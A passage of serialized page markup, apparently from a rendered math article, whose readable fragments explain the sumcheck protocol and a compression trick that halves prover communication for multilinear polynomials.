:28,"value":19246},{"type":23,"tag":481,"props":107303,"children":107305},{"className":107304},[1582],[107306],{"type":23,"tag":481,"props":107307,"children":107309},{"className":107308,"style":90662},[1587],[107310],{"type":23,"tag":481,"props":107311,"children":107312},{},[],{"type":23,"tag":481,"props":107314,"children":107316},{"className":107315},[19215],[107317],{"type":28,"value":618},{"type":23,"tag":481,"props":107319,"children":107321},{"className":107320},[1555],[107322],{"type":28,"value":1568},{"type":23,"tag":481,"props":107324,"children":107326},{"className":107325},[19237],[107327],{"type":28,"value":642},{"type":23,"tag":481,"props":107329,"children":107331},{"className":107330,"style":1637},[1636],[],{"type":23,"tag":481,"props":107333,"children":107335},{"className":107334},[1642],[107336],{"type":28,"value":1930},{"type":23,"tag":481,"props":107338,"children":107340},{"className":107339,"style":1637},[1636],[],{"type":23,"tag":481,"props":107342,"children":107344},{"className":107343},[1544],[107345,107349,107406,107411,107416],{"type":23,"tag":481,"props":107346,"children":107348},{"className":107347,"style":1657},[1549],[],{"type":23,"tag":481,"props":107350,"children":107352},{"className":107351},[1555],[107353,107358],{"type":23,"tag":481,"props":107354,"children":107356},{"className":107355,"style":91065},[1555,19086],[107357],{"type":28,"value":106830},{"type":23,"tag":481,"props":107359,"children":107361},{"className":107360},[1572],[107362],{"type":23,"tag":481,"props":107363,"children":107365},{"className":107364},[1577,19140],[107366,107395],{"type":23,"tag":481,"props":107367,"children":107369},{"className":107368},[1582],[107370,107390],{"type":23,"tag":481,"props":107371,"children":107373},{"className":107372,"style":91108},[1587],[107374],{"type":23,"tag":481,"props":107375,"children":107376},{"style":91112},[107377,107381],{"type":23,"tag":481,"props":107378,"children":107380},{"className":107379,"style":1597},[1596],[],{"type":23,"tag":481,"props":107382,"children":107384},{"className":107383},[1602,1603,1604,1605],[107385],{"type":23,"tag":481,"props":107386,"children":107388},{"className":107387},[1555,19086,1605],[107389],{"type":28,"value":1274},{"type":23,"tag":481,"props":107391,"children":107393},{"className":107392},[19243],[107394],{"type":28,"value":19246},{"type":23,"tag":481,"props":107396,"children":107398},{"className":107397},[1582],[107399],{"type":23,"tag":481,"props":107400,"children":107402},{"className":107401,"style":90662},[1587],[107403],{"type":23,"tag":481,"props":107404,"children":107405},{},[],{"type":23,"tag":481,"props":107407,"children":107409},{"className":107408},[19215],[107410],{"type":28,"value":618},{"type":23,"tag":481,"props":107412,"children":107414},{"className":107413},[1555],[107415],{"type":28,"value":1558},{"type":23,"tag":481,"props":107417,"children":107419},{"className":107418},[19237],[107420],{"type":28,"value":642},{"type":28,"value":107422}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":64,"props":107424,"children":107426},{"className":107425},[1527,1528],[107427],{"type":23,"tag":481,"props":107428,"children":107430},{"className":107429},[1533],[107431],{"type":23,"tag":481,"props":107432,"children":107434},{"className":107433,"ariaHidden":1539},[1538],[107435],{"type":23,"tag":481,"props":107436,"children":107438},{"className":107437},[1544],[107439,107443],{"type":23,"tag":481,"props":107440,"children":107442},{"className":107441,"style":19081},[1549],[],{"type":23,"tag":481,"props":107444,"children":107446},{"className":107445,"style":90813},[1555,19086],[107447],{"type":28,"value":90816},{"type":28,"value":107449},", then they must lie about ",{"type":23,"tag":64,"props":107451,"children":107453},{"className":107452},[1527,1528],[107454],{"type":23,"tag":481,"props":107455,"children":107457},{"className":107456},[1533],[107458],{"type":23,"tag":481,"props":107459,"children":107461},{"className":107460,"ariaHidden":1539},[1538],[107462],{"type":23,"tag":481,"props":107463,"children":107465},{"className":107464},[1544],[107466,107471],{"type":23,"tag":481,"props":107467,"children":107470},{"className":107468,"style":107469},[1549],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":481,"props":107472,"children":107474},{"className":107473},[1555],[107475,107480],{"type":23,"tag":481,"props":107476,"children":107478},{"className":107477,"style":91065},[1555,19086],[107479],{"type":28,"value":106830},{"type":23,"tag":481,"props":107481,"children":107483},{"className":107482},[1572],[107484],{"type":23,"tag":481,"props":107485,"children":107487},{"className":107486},[1577,19140],[107488,107517],{"type":23,"tag":481,"props":107489,"children":107491},{"className":107490},[1582],[107492,107512],{"type":23,"tag":481,"props":107493,"children":107495},{"className":107494,"style":91108},[1587],[107496],{"type":23,"tag":481,"props":107497,"children":107498},{"style":91112},[107499,107503],{"type":23,"tag":481,"props":107500,"children":107502},{"className":107501,"style":1597},[1596],[],{"type":23,"tag":481,"props":107504,"children":107506},{"className":107505},[1602,1603,1604,1605],[107507],{"type":23,"tag":481,"props":107508,"children":107510},{"className":107509},[1555,19086,1605],[107511],{"type":28,"value":1274},{"type":23,"tag":481,"props":107513,"children":107515},{"className":107514},[19243],[107516],{"type":28,"value":19246},{"type":23,"tag":481,"props":107518,"children":107520},{"className":107519},[1582],[107521],{"type":23,"tag":481,"props":107522,"children":107524},{"className":107523,"style":90662},[1587],[107525],{"type":23,"tag":481,"props":107526,"children":107527},{},[],{"type":28,"value":107529}," somewhere. But since the verifier picks a random ",{"type":23,"tag":64,"props":107531,"children":107533},{"className":107532},[1527,1528],[107534],{"type":23,"tag":481,"props":107535,"children":107537},{"className":107536},[1533],[107538],{"type":23,"tag":481,"props":107539,"children":107541},{"className":107540,"ariaHidden":1539},[1538],[107542],{"type":23,"tag":481,"props":107543,"children":107545},{"className":107544},[1544],[107546,107551],{"type":23,"tag":481,"props":107547,"children":107550},{"className":107548,"style":107549},[1549],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":481,"props":107552,"children":107554},{"className":107553},[1555],[107555,107560],{"type":23,"tag":481,"props":107556,"children":107558},{"className":107557,"style":90579},[1555,19086],[107559],{"type":28,"value":91398},{"type":23,"tag":481,"props":107561,"children":107563},{"className":107562},[1572],[107564],{"type":23,"tag":481,"props":107565,"children":107567},{"className":107566},[1577,19140],[107568,107598],{"type":23,"tag":481,"props":107569,"children":107571},{"className":107570},[1582],[107572,107593],{"type":23,"tag":481,"props":107573,"children":107575},{"className":107574,"style":91108},[1587],[107576],{"type":23,"tag":481,"props":107577,"children":107579},{"style":107578},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[107580,107584],{"type":23,"tag":481,"props":107581,"children":107583},{"className":107582,"style":1597},[1596],[],{"type":23,"tag":481,"props":107585,"children":107587},{"className":107586},[1602,1603,1604,1605],[107588],{"type":23,"tag":481,"props":107589,"children":107591},{"className":107590},[1555,19086,1605],[107592],{"type":28,"value":1274},{"type":23,"tag":481,"props":107594,"children":107596},{"className":107595},[19243],[107597],{"type":28,"value":19246},{"type":23,"tag":481,"props":107599,"children":107601},{"className":107600},[1582],[107602],{"type":23,"tag":481,"props":107603,"children":107605},{"className":107604,"style":90662},[1587],[107606],{"type":23,"tag":481,"props":107607,"children":107608},{},[],{"type":28,"value":107610},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":16388,"props":107612,"children":107614},{"id":107613},"the-compression-trick",[107615],{"type":28,"value":107616},"The Compression Trick",{"type":23,"tag":24,"props":107618,"children":107619},{},[107620,107622,107772,107774,108054],{"type":28,"value":107621},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":64,"props":107623,"children":107625},{"className":107624},[1527,1528],[107626],{"type":23,"tag":481,"props":107627,"children":107629},{"className":107628},[1533],[107630],{"type":23,"tag":481,"props":107631,"children":107633},{"className":107632,"ariaHidden":1539},[1538],[107634,107727,107754],{"type":23,"tag":481,"props":107635,"children":107637},{"className":107636},[1544],[107638,107642,107699,107704,107709,107714,107718,107723],{"type":23,"tag":481,"props":107639,"children":107641},{"className":107640,"style":1657},[1549],[],{"type":23,"tag":481,"props":107643,"children":107645},{"className":107644},[1555],[107646,107651],{"type":23,"tag":481,"props":107647,"children":107649},{"className":107648,"style":91065},[1555,19086],[107650],{"type":28,"value":106830},{"type":23,"tag":481,"props":107652,"children":107654},{"className":107653},[1572],[107655],{"type":23,"tag":481,"props":107656,"children":107658},{"className":107657},[1577,19140],[107659,107688],{"type":23,"tag":481,"props":107660,"children":107662},{"className":107661},[1582],[107663,107683],{"type":23,"tag":481,"props":107664,"children":107666},{"className":107665,"style":91108},[1587],[107667],{"type":23,"tag":481,"props":107668,"children":107669},{"style":91112},[107670,107674],{"type":23,"tag":481,"props":107671,"children":107673},{"className":107672,"style":1597},[1596],[],{"type":23,"tag":481,"props":107675,"children":107677},{"className":107676},[1602,1603,1604,1605],[107678],{"type":23,"tag":481,"props":107679,"children":107681},{"className":107680},[1555,19086,1605],[107682],{"type":28,"value":1274},{"type":23,"tag":481,"props":107684,"children":107686},{"className":107685},[19243],[107687],{"type":28,"value":19246},{"type":23,"tag":481,"props":107689,"children":107691},{"className":107690},[1582],[107692],{"type":23,"tag":481,"props":107693,"children":107695},{"className":107694,"style":90662},[1587],[107696],{"type":23,"tag":481,"props":107697,"children":107698},{},[],{"type":23,"tag":481,"props":107700,"children":107702},{"className":107701},[19215],[107703],{"type":28,"value":618},{"type":23,"tag":481,"props":107705,"children":107707},{"className":107706,"style":92599},[1555,19086],[107708],{"type":28,"value":3610},{"type":23,"tag":481,"props":107710,"children":107712},{"className":107711},[19237],[107713],{"type":28,"value":642},{"type":23,"tag":481,"props":107715,"children":107717},{"className":107716,"style":1734},[1636],[],{"type":23,"tag":481,"props":107719,"children":107721},{"className":107720},[1739],[107722],{"type":28,"value":603},{"type":23,"tag":481,"props":107724,"children":107726},{"className":107725,"style":1734},[1636],[],{"type":23,"tag":481,"props":107728,"children":107730},{"className":107729},[1544],[107731,107736,107741,107745,107750],{"type":23,"tag":481,"props":107732,"children":107735},{"className":107733,"style":107734},[1549],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":481,"props":107737,"children":107739},{"className":107738},[1555,19086],[107740],{"type":28,"value":190},{"type":23,"tag":481,"props":107742,"children":107744},{"className":107743,"style":1637},[1636],[],{"type":23,"tag":481,"props":107746,"children":107748},{"className":107747},[1642],[107749],{"type":28,"value":1930},{"type":23,"tag":481,"props":107751,"children":107753},{"className":107752,"style":1637},[1636],[],{"type":23,"tag":481,"props":107755,"children":107757},{"className":107756},[1544],[107758,107762,107767],{"type":23,"tag":481,"props":107759,"children":107761},{"className":107760,"style":90494},[1549],[],{"type":23,"tag":481,"props":107763,"children":107765},{"className":107764},[1555,19086],[107766],{"type":28,"value":739},{"type":23,"tag":481,"props":107768,"children":107770},{"className":107769,"style":92599},[1555,19086],[107771],{"type":28,"value":3610},{"type":28,"value":107773}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":64,"props":107775,"children":107777},{"className":107776},[1527,1528],[107778],{"type":23,"tag":481,"props":107779,"children":107781},{"className":107780},[1533],[107782],{"type":23,"tag":481,"props":107783,"children":107785},{"className":107784,"ariaHidden":1539},[1538],[107786,107879,107972],{"type":23,"tag":481,"props":107787,"children":107789},{"className":107788},[1544],[107790,107794,107851,107856,107861,107866,107870,107875],{"type":23,"tag":481,"props":107791,"children":107793},{"className":107792,"style":1657},[1549],[],{"type":23,"tag":481,"props":107795,"children":107797},{"className":107796},[1555],[107798,107803],{"type":23,"tag":481,"props":107799,"children":107801},{"className":107800,"style":91065},[1555,19086],[107802],{"type":28,"value":106830},{"type":23,"tag":481,"props":107804,"children":107806},{"className":107805},[1572],[107807],{"type":23,"tag":481,"props":107808,"children":107810},{"className":107809},[1577,19140],[107811,107840],{"type":23,"tag":481,"props":107812,"children":107814},{"className":107813},[1582],[107815,107835],{"type":23,"tag":481,"props":107816,"children":107818},{"className":107817,"style":91108},[1587],[107819],{"type":23,"tag":481,"props":107820,"children":107821},{"style":91112},[107822,107826],{"type":23,"tag":481,"props":107823,"children":107825},{"className":107824,"style":1597},[1596],[],{"type":23,"tag":481,"props":107827,"children":107829},{"className":107828},[1602,1603,1604,1605],[107830],{"type":23,"tag":481,"props":107831,"children":107833},{"className":107832},[1555,19086,1605],[107834],{"type":28,"value":1274},{"type":23,"tag":481,"props":107836,"children":107838},{"className":107837},[19243],[107839],{"type":28,"value":19246},{"type":23,"tag":481,"props":107841,"children":107843},{"className":107842},[1582],[107844],{"type":23,"tag":481,"props":107845,"children":107847},{"className":107846,"style":90662},[1587],[107848],{"type":23,"tag":481,"props":107849,"children":107850},{},[],{"type":23,"tag":481,"props":107852,"children":107854},{"className":107853},[19215],[107855],{"type":28,"value":618},{"type":23,"tag":481,"props":107857,"children":107859},{"className":107858},[1555],[107860],{"type":28,"value":1568},{"type":23,"tag":481,"props":107862,"children":107864},{"className":107863},[19237],[107865],{"type":28,"value":642},{"type":23,"tag":481,"props":107867,"children":107869},{"className":107868,"style":1637},[1636],[],{"type":23,"tag":481,"props":107871,"children":107873},{"className":107872},[1642],[107874],{"type":28,"value":1930},{"type":23,"tag":481,"props":107876,"children":107878},{"className":107877,"style":1637},[1636],[],{"type":23,"tag":481,"props":107880,"children":107882},{"className":107881},[1544],[107883,107887,107944,107949,107954,107959,107963,107968],{"type":23,"tag":481,"props":107884,"children":107886},{"className":107885,"style":1657},[1549],[],{"type":23,"tag":481,"props":107888,"children":107890},{"className":107889},[1555],[107891,107896],{"type":23,"tag":481,"props":107892,"children":107894},{"className":107893,"style":91065},[1555,19086],[107895],{"type":28,"value":106830},{"type":23,"tag":481,"props":107897,"children":107899},{"className":107898},[1572],[107900],{"type":23,"tag":481,"props":107901,"children":107903},{"className":107902},[1577,19140],[107904,107933],{"type":23,"tag":481,"props":107905,"children":107907},{"className":107906},[1582],[107908,107928],{"type":23,"tag":481,"props":107909,"children":107911},{"className":107910,"style":91108},[1587],[107912],{"type":23,"tag":481,"props":107913,"children":107914},{"style":91112},[107915,107919],{"type":23,"tag":481,"props":107916,"children":107918},{"className":107917,"style":1597},[1596],[],{"type":23,"tag":481,"props":107920,"children":107922},{"className":107921},[1602,1603,1604,1605],[107923],{"type":23,"tag":481,"props":107924,"children":107926},{"className":107925},[1555,19086,1605],[107927],{"type":28,"value":1274},{"type":23,"tag":481,"props":107929,"children":107931},{"className":107930},[19243],[107932],{"type":28,"value":19246},{"type":23,"tag":481,"props":107934,"children":107936},{"className":107935},[1582],[107937],{"type":23,"tag":481,"props":107938,"children":107940},{"className":107939,"style":90662},[1587],[107941],{"type":23,"tag":481,"props":107942,"children":107943},{},[],{"type":23,"tag":481,"props":107945,"children":107947},{"className":107946},[19215],[107948],{"type":28,"value":618},{"type":23,"tag":481,"props":107950,"children":107952},{"className":107951},[1555],[107953],{"type":28,"value":1558},{"type":23,"tag":481,"props":107955,"children":107957},{"className":107956},[19237],[107958],{"type":28,"value":642},{"type":23,"tag":481,"props":107960,"children":107962},{"className":107961,"style":1734},[1636],[],{"type":23,"tag":481,"props":107964,"children":107966},{"className":107965},[1739],[107967],{"type":28,"value":603},{"type":23,"tag":481,"props":107969,"children":107971},{"className":107970,"style":1734},[1636],[],{"type":23,"tag":481,"props":107973,"children":107975},{"className":107974},[1544],[107976,107981],{"type":23,"tag":481,"props":107977,"children":107980},{"className":107978,"style":107979},[1549],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":481,"props":107982,"children":107984},{"className":107983},[1555],[107985,107990],{"type":23,"tag":481,"props":107986,"children":107988},{"className":107987,"style":90813},[1555,19086],[107989],{"type":28,"value":90816},{"type":23,"tag":481,"props":107991,"children":107993},{"className":107992},[1572],[107994],{"type":23,"tag":481,"props":107995,"children":107997},{"className":107996},[1577,19140],[107998,108042],{"type":23,"tag":481,"props":107999,"children":108001},{"className":108000},[1582],[108002,108037],{"type":23,"tag":481,"props":108003,"children":108005},{"className":108004,"style":91108},[1587],[108006],{"type":23,"tag":481,"props":108007,"children":108009},{"style":108008},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[108010,108014],{"type":23,"tag":481,"props":108011,"children":108013},{"className":108012,"style":1597},[1596],[],{"type":23,"tag":481,"props":108015,"children":108017},{"className":108016},[1602,1603,1604,1605],[108018],{"type":23,"tag":481,"props":108019,"children":108021},{"className":108020},[1555,1605],[108022,108027,108032],{"type":23,"tag":481,"props":108023,"children":108025},{"className":108024},[1555,19086,1605],[108026],{"type":28,"value":1274},{"type":23,"tag":481,"props":108028,"children":108030},{"className":108029},[1642,1605],[108031],{"type":28,"value":1616},{"type":23,"tag":481,"props":108033,"children":108035},{"className":108034},[1555,1605],[108036],{"type":28,"value":1558},{"type":23,"tag":481,"props":108038,"children":108040},{"className":108039},[19243],[108041],{"type":28,"value":19246},{"type":23,"tag":481,"props":108043,"children":108045},{"className":108044},[1582],[108046],{"type":23,"tag":481,"props":108047,"children":108050},{"className":108048,"style":108049},[1587],"height:0.2083em;",[108051],{"type":23,"tag":481,"props":108052,"children":108053},{},[],{"type":28,"value":108055}," (the previous claim), we have:",{"type":23,"tag":24,"props":108057,"children":108058},{},[108059],{"type":23,"tag":64,"props":108060,"children":108062},{"className":108061},[1527,1528],[108063],{"type":23,"tag":481,"props":108064,"children":108066},{"className":108065},[1533],[108067],{"type":23,"tag":481,"props":108068,"children":108070},{"className":108069,"ariaHidden":1539},[1538],[108071,108097,108128,108159,108260,108286,108378],{"type":23,"tag":481,"props":108072,"children":108074},{"className":108073},[1544],[108075,108079,108084,108088,108093],{"type":23,"tag":481,"props":108076,"children":108078},{"className":108077,"style":107734},[1549],[],{"type":23,"tag":481,"props":108080,"children":108082},{"className":108081},[1555,19086],[108083],{"type":28,"value":190},{"type":23,"tag":481,"props":108085,"children":108087},{"className":108086,"style":1637},[1636],[],{"type":23,"tag":481,"props":108089,"children":108091},{"className":108090},[1642],[108092],{"type":28,"value":1930},{"type":23,"tag":481,"props":108094,"children":108096},{"className":108095,"style":1637},[1636],[],{"type":23,"tag":481,"props":108098,"children":108100},{"className":108099},[1544],[108101,108105,108110,108115,108119,108124],{"type":23,"tag":481,"props":108102,"children":108104},{"className":108103,"style":1657},[1549],[],{"type":23,"tag":481,"props":108106,"children":108108},{"className":108107},[19215],[108109],{"type":28,"value":618},{"type":23,"tag":481,"props":108111,"children":108113},{"className":108112},[1555,19086],[108114],{"type":28,"value":190},{"type":23,"tag":481,"props":108116,"children":108118},{"className":108117,"style":1637},[1636],[],{"type":23,"tag":481,"props":108120,"children":108122},{"className":108121},[1642],[108123],{"type":28,"value":1930},{"type":23,"tag":481,"props":108125,"children":108127},{"className":108126,"style":1637},[1636],[],{"type":23,"tag":481,"props":108129,"children":108131},{"className":108130},[1544],[108132,108136,108141,108146,108150,108155],{"type":23,"tag":481,"props":108133,"children":108135},{"className":108134,"style":1657},[1549],[],{"type":23,"tag":481,"props":108137,"children":108139},{"className":108138},[1555,19086],[108140],{"type":28,"value":739},{"type":23,"tag":481,"props":108142,"children":108144},{"className":108143},[19237],[108145],{"type":28,"value":642},{"type":23,"tag":481,"props":108147,"children":108149},{"className":108148,"style":1734},[1636],[],{"type":23,"tag":481,"props":108151,"children":108153},{"className":108152},[1739],[108154],{"type":28,"value":603},{"type":23,"tag":481,"props":108156,"children":108158},{"className":108157,"style":1734},[1636],[],{"type":23,"tag":481,"props":108160,"children":108162},{"className":108161},[1544],[108163,108167,108238,108242,108246,108252,108256],{"type":23,"tag":481,"props":108164,"children":108166},{"className":108165,"style":107979},[1549],[],{"type":23,"tag":481,"props":108168,"children":108170},{"className":108169},[1555],[108171,108176],{"type":23,"tag":481,"props":108172,"children":108174},{"className":108173,"style":90813},[1555,19086],[108175],{"type":28,"value":90816},{"type":23,"tag":481,"props":108177,"children":108179},{"className":108178},[1572],[108180],{"type":23,"tag":481,"props":108181,"children":108183},{"className":108182},[1577,19140],[108184,108227],{"type":23,"tag":481,"props":108185,"children":108187},{"className":108186},[1582],[108188,108222],{"type":23,"tag":481,"props":108189,"children":108191},{"className":108190,"style":91108},[1587],[108192],{"type":23,"tag":481,"props":108193,"children":108194},{"style":108008},[108195,108199],{"type":23,"tag":481,"props":108196,"children":108198},{"className":108197,"style":1597},[1596],[],{"type":23,"tag":481,"props":108200,"children":108202},{"className":108201},[1602,1603,1604,1605],[108203],{"type":23,"tag":481,"props":108204,"children":108206},{"className":108205},[1555,1605],[108207,108212,108217],{"type":23,"tag":481,"props":108208,"children":108210},{"className":108209},[1555,19086,1605],[108211],{"type":28,"value":1274},{"type":23,"tag":481,"props":108213,"children":108215},{"className":108214},[1642,1605],[108216],{"type":28,"value":1616},{"type":23,"tag":481,"props":108218,"children":108220},{"className":108219},[1555,1605],[108221],{"type":28,"value":1558},{"type":23,"tag":481,"props":108223,"children":108225},{"className":108224},[19243],[108226],{"type":28,"value":19246},{"type":23,"tag":481,"props":108228,"children":108230},{"className":108229},[1582],[108231],{"type":23,"tag":481,"props":108232,"children":108234},{"className":108233,"style":108049},[1587],[108235],{"type":23,"tag":481,"props":108236,"children":108237},{},[],{"type":23,"tag":481,"props":108239,"children":108241},{"className":108240,"style":1734},[1636],[],{"type":23,"tag":481,"props":108243,"children":108245},{"className":108244,"style":1734},[1636],[],{"type":23,"tag":481,"props":108247,"children":108249},{"className":108248},[1739],[108250],{"type":28,"value":108251},"⟹",{"type":23,"tag":481,"props":108253,"children":108255},{"className":108254,"style":1734},[1636],[],{"type":23,"tag":481,"props":108257,"children":108259},{"className":108258,"style":1734},[1636],[],{"type":23,"tag":481,"props":108261,"children":108263},{"className":108262},[1544],[108264,108268,108273,108277,108282],{"type":23,"tag":481,"props":108265,"children":108267},{"className":108266,"style":90494},[1549],[],{"type":23,"tag":481,"props":108269,"children":108271},{"className":108270},[1555,19086],[108272],{"type":28,"value":739},{"type":23,"tag":481,"props":108274,"children":108276},{"className":108275,"style":1734},[1636],[],{"type":23,"tag":481,"props":108278,"children":108280},{"className":108279},[1739],[108281],{"type":28,"value":603},{"type":23,"tag":481,"props":108283,"children":108285},{"className":108284,"style":1734},[1636],[],{"type":23,"tag":481,"props":108287,"children":108289},{"className":108288},[1544],[108290,108294,108365,108369,108374],{"type":23,"tag":481,"props":108291,"children":108293},{"className":108292,"style":107979},[1549],[],{"type":23,"tag":481,"props":108295,"children":108297},{"className":108296},[1555],[108298,108303],{"type":23,"tag":481,"props":108299,"children":108301},{"className":108300,"style":90813},[1555,19086],[108302],{"type":28,"value":90816},{"type":23,"tag":481,"props":108304,"children":108306},{"className":108305},[1572],[108307],{"type":23,"tag":481,"props":108308,"children":108310},{"className":108309},[1577,19140],[108311,108354],{"type":23,"tag":481,"props":108312,"children":108314},{"className":108313},[1582],[108315,108349],{"type":23,"tag":481,"props":108316,"children":108318},{"className":108317,"style":91108},[1587],[108319],{"type":23,"tag":481,"props":108320,"children":108321},{"style":108008},[108322,108326],{"type":23,"tag":481,"props":108323,"children":108325},{"className":108324,"style":1597},[1596],[],{"type":23,"tag":481,"props":108327,"children":108329},{"className":108328},[1602,1603,1604,1605],[108330],{"type":23,"tag":481,"props":108331,"children":108333},{"className":108332},[1555,1605],[108334,108339,108344],{"type":23,"tag":481,"props":108335,"children":108337},{"className":108336},[1555,19086,1605],[108338],{"type":28,"value":1274},{"type":23,"tag":481,"props":108340,"children":108342},{"className":108341},[1642,1605],[108343],{"type":28,"value":1616},{"type":23,"tag":481,"props":108345,"children":108347},{"className":108346},[1555,1605],[108348],{"type":28,"value":1558},{"type":23,"tag":481,"props":108350,"children":108352},{"className":108351},[19243],[108353],{"type":28,"value":19246},{"type":23,"tag":481,"props":108355,"children":108357},{"className":108356},[1582],[108358],{"type":23,"tag":481,"props":108359,"children":108361},{"className":108360,"style":108049},[1587],[108362],{"type":23,"tag":481,"props":108363,"children":108364},{},[],{"type":23,"tag":481,"props":108366,"children":108368},{"className":108367,"style":1637},[1636],[],{"type":23,"tag":481,"props":108370,"children":108372},{"className":108371},[1642],[108373],{"type":28,"value":1616},{"type":23,"tag":481,"props":108375,"children":108377},{"className":108376,"style":1637},[1636],[],{"type":23,"tag":481,"props":108379,"children":108381},{"className":108380},[1544],[108382,108386,108391],{"type":23,"tag":481,"props":108383,"children":108385},{"className":108384,"style":91610},[1549],[],{"type":23,"tag":481,"props":108387,"children":108389},{"className":108388},[1555],[108390],{"type":28,"value":637},{"type":23,"tag":481,"props":108392,"children":108394},{"className":108393},[1555,19086],[108395],{"type":28,"value":190},{"type":23,"tag":24,"props":108397,"children":108398},{},[108399,108401,108520,108522,108547],{"type":28,"value":108400},"So the prover only sends ",{"type":23,"tag":64,"props":108402,"children":108404},{"className":108403},[1527,1528],[108405],{"type":23,"tag":481,"props":108406,"children":108408},{"className":108407},[1533],[108409],{"type":23,"tag":481,"props":108410,"children":108412},{"className":108411,"ariaHidden":1539},[1538],[108413,108440],{"type":23,"tag":481,"props":108414,"children":108416},{"className":108415},[1544],[108417,108422,108427,108431,108436],{"type":23,"tag":481,"props":108418,"children":108421},{"className":108419,"style":108420},[1549],"height:0.4306em;",[],{"type":23,"tag":481,"props":108423,"children":108425},{"className":108424},[1555,19086],[108426],{"type":28,"value":190},{"type":23,"tag":481,"props":108428,"children":108430},{"className":108429,"style":1734},[1636],[],{"type":23,"tag":481,"props":108432,"children":108434},{"className":108433},[1739],[108435],{"type":28,"value":603},{"type":23,"tag":481,"props":108437,"children":108439},{"className":108438,"style":1734},[1636],[],{"type":23,"tag":481,"props":108441,"children":108443},{"className":108442},[1544],[108444,108448,108505,108510,108515],{"type":23,"tag":481,"props":108445,"children":108447},{"className":108446,"style":1657},[1549],[],{"type":23,"tag":481,"props":108449,"children":108451},{"className":108450},[1555],[108452,108457],{"type":23,"tag":481,"props":108453,"children":108455},{"className":108454,"style":91065},[1555,19086],[108456],{"type":28,"value":106830},{"type":23,"tag":481,"props":108458,"children":108460},{"className":108459},[1572],[108461],{"type":23,"tag":481,"props":108462,"children":108464},{"className":108463},[1577,19140],[108465,108494],{"type":23,"tag":481,"props":108466,"children":108468},{"className":108467},[1582],[108469,108489],{"type":23,"tag":481,"props":108470,"children":108472},{"className":108471,"style":91108},[1587],[108473],{"type":23,"tag":481,"props":108474,"children":108475},{"style":91112},[108476,108480],{"type":23,"tag":481,"props":108477,"children":108479},{"className":108478,"style":1597},[1596],[],{"type":23,"tag":481,"props":108481,"children":108483},{"className":108482},[1602,1603,1604,1605],[108484],{"type":23,"tag":481,"props":108485,"children":108487},{"className":108486},[1555,19086,1605],[108488],{"type":28,"value":1274},{"type":23,"tag":481,"props":108490,"children":108492},{"className":108491},[19243],[108493],{"type":28,"value":19246},{"type":23,"tag":481,"props":108495,"children":108497},{"className":108496},[1582],[108498],{"type":23,"tag":481,"props":108499,"children":108501},{"className":108500,"style":90662},[1587],[108502],{"type":23,"tag":481,"props":108503,"children":108504},{},[],{"type":23,"tag":481,"props":108506,"children":108508},{"className":108507},[19215],[108509],{"type":28,"value":618},{"type":23,"tag":481,"props":108511,"children":108513},{"className":108512},[1555],[108514],{"type":28,"value":1568},{"type":23,"tag":481,"props":108516,"children":108518},{"className":108517},[19237],[108519],{"type":28,"value":642},{"type":28,"value":108521},", and the verifier recovers ",{"type":23,"tag":64,"props":108523,"children":108525},{"className":108524},[1527,1528],[108526],{"type":23,"tag":481,"props":108527,"children":108529},{"className":108528},[1533],[108530],{"type":23,"tag":481,"props":108531,"children":108533},{"className":108532,"ariaHidden":1539},[1538],[108534],{"type":23,"tag":481,"props":108535,"children":108537},{"className":108536},[1544],[108538,108542],{"type":23,"tag":481,"props":108539,"children":108541},{"className":108540,"style":90494},[1549],[],{"type":23,"tag":481,"props":108543,"children":108545},{"className":108544},[1555,19086],[108546],{"type":28,"value":739},{"type":28,"value":108548},". This saves 50% on communication costs.",{"type":23,"tag":24,"props":108550,"children":108551},{},[108552],{"type":28,"value":108553},"The next claim in the chain is",{"type":23,"tag":24,"props":108555,"children":108556},{},[108557],{"type":23,"tag":64,"props":108558,"children":108560},{"className":108559},[1527,1528],[108561],{"type":23,"tag":481,"props":108562,"children":108564},{"className":108563},[1533],[108565],{"type":23,"tag":481,"props":108566,"children":108568},{"className":108567,"ariaHidden":1539},[1538],[108569,108648,108793,108819,108846,108924,108950,109047,109083,109161,109197,109285,109377],{"type":23,"tag":481,"props":108570,"children":108572},{"className":108571},[1544],[108573,108578,108635,108639,108644],{"type":23,"tag":481,"props":108574,"children":108577},{"className":108575,"style":108576},[1549],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":481,"props":108579,"children":108581},{"className":108580},[1555],[108582,108587],{"type":23,"tag":481,"props":108583,"children":108585},{"className":108584,"style":90813},[1555,19086],[108586],{"type":28,"value":90816},{"type":23,"tag":481,"props":108588,"children":108590},{"className":108589},[1572],[108591],{"type":23,"tag":481,"props":108592,"children":108594},{"className":108593},[1577,19140],[108595,108624],{"type":23,"tag":481,"props":108596,"children":108598},{"className":108597},[1582],[108599,108619],{"type":23,"tag":481,"props":108600,"children":108602},{"className":108601,"style":91108},[1587],[108603],{"type":23,"tag":481,"props":108604,"children":108605},{"style":108008},[108606,108610],{"type":23,"tag":481,"props":108607,"children":108609},{"className":108608,"style":1597},[1596],[],{"type":23,"tag":481,"props":108611,"children":108613},{"className":108612},[1602,1603,1604,1605],[108614],{"type":23,"tag":481,"props":108615,"children":108617},{"className":108616},[1555,19086,1605],[108618],{"type":28,"value":1274},{"type":23,"tag":481,"props":108620,"children":108622},{"className":108621},[19243],[108623],{"type":28,"value":19246},{"type":23,"tag":481,"props":108625,"children":108627},{"className":108626},[1582],[108628],{"type":23,"tag":481,"props":108629,"children":108631},{"className":108630,"style":90662},[1587],[108632],{"type":23,"tag":481,"props":108633,"children":108634},{},[],{"type":23,"tag":481,"props":108636,"children":108638},{"className":108637,"style":1734},[1636],[],{"type":23,"tag":481,"props":108640,"children":108642},{"className":108641},[1739],[108643],{"type":28,"value":603},{"type":23,"tag":481,"props":108645,"children":108647},{"className":108646,"style":1734},[1636],[],{"type":23,"tag":481,"props":108649,"children":108651},{"className":108650},[1544],[108652,108656,108713,108718,108775,108780,108784,108789],{"type":23,"tag":481,"props":108653,"children":108655},{"classN